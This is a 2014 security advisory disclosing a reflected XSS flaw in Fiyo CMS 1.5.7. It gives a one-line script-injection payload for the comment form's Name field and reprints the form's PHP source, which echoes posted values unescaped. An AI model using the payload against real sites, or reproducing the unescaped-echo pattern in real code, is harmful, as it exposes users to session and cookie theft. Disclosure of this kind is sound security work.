# Exploit Title: Fiyo CMS 1.5.7 XSS Vulnerability
# Date: 05/29/2014
# Author: Mustafa ALTINKAYNAK
# Download URL :https://www.fiyo.org/
# Software Link: https://www.fiyo.org/download
# Vuln Category: CWE-79 (XSS)
# Tested on: Fiyo CMS 1.5.7
# Tested Local Platform : XAMP on Windows
# Patch/ Fix: Not published.
---------------------------
 
Technical Details
---------------------------
Reflected XSS : Review form can be bypassed. Users can be played cookies.

Example : 
Nama : "><script>alert("test");</script>

---------------------------------------------------------------------------------

Form Comment (XSS Vuln)

# /apps/app_comment/form_comment.php

<?php
/**
* @name      Comment
* @version    1.5.0
* @package    Fiyo CMS
* @copyright  Copyright (C) 2012 Fiyo CMS.
* @license    GNU/GPL, see LICENSE.txt
* @description  
**/

defined('_FINDEX_') or die('Access Denied');

?>
<script>

  function reloadCaptcha() {
    document.getElementById('captcha').src = document.getElementById('captcha').src+ '?' +new Date();
  }
</script>

<h3 id="comments" ><?php echo comment_Leave_Comment; ?></h3>
<?php echo @$notice; ?>
<form method="post" action="#comments" class="form-comment">
  <div><label><span><?php echo comment_Name; ?> *</span><div>
    <input type='text' name='name' style='width:60%; max-width : 200px;' value ="<?php echo @$name; ?>" <?php if(!empty($name)) echo "readonly"; ?>  class="input required" placeholder="Name" required></label></div>
  </div>
  <div><label><span><?php echo comment_Email; ?> *</span><div>
    <input class="input required email" style='width:60%; max-width : 200px;' type='email' name='email' value ="<?php echo @$email; ?>" <?php if(!empty($email)) echo "readonly"; ?> placeholder="name@email.com" required></label></div>
  </div>
  <div><label><span><?php echo comment_Website; ?> </span><div>
    <input type="url" class="input" style="width:60%; max-width : 200px;" name="web" value="<?php echo @$_POST['web']; ?>" placeholder="https://" /></label></div>
  </div>
  <div><label><span><?php echo comment_Comment; ?> *</span><div>
    <textarea class="input required" name='com' style='width:100%; max-width : 500px;' rows="8" required><?php echo @$_POST['com']; ?></textarea></label></div>
  </div>
  <?php if(empty($privatekey) or empty($publickey )) : ?>
  <div><span><?php echo comment_Security_Code; ?>  * </span> <div><img src="<?php echo FUrl; ?>/plugins/plg_mathcaptcha/image.php" alt="Click to reload image" title="Click to reload image" id="captcha" onclick="javascript:reloadCaptcha()" class="captcha-image" /></div><input type="text" name="secure" placeholder="What's the result?" onclick="this.value=''" class="input required numeric" required /></div>
  <?php else : ?>
  <div>
    <span>ReCaptcha *</span>
      <div>
        <script type="text/javascript">
           var RecaptchaOptions = {
            theme : 'clean'
          };
        </script>
        <?php echo recaptcha_get_html($publickey);?>
      </div>
  </div>
  <?php endif; ?>
  <div style="overflow: visible;">
    <input type='submit' name='send-comment' class='comment-button button btn' value="Send">
  </div>
</form>

-----------

Mustafa ALTINKAYNAK
twitter : @m_altinkaynak <https://twitter.com/m_altinkaynak>
www.mustafaaltinkaynak.com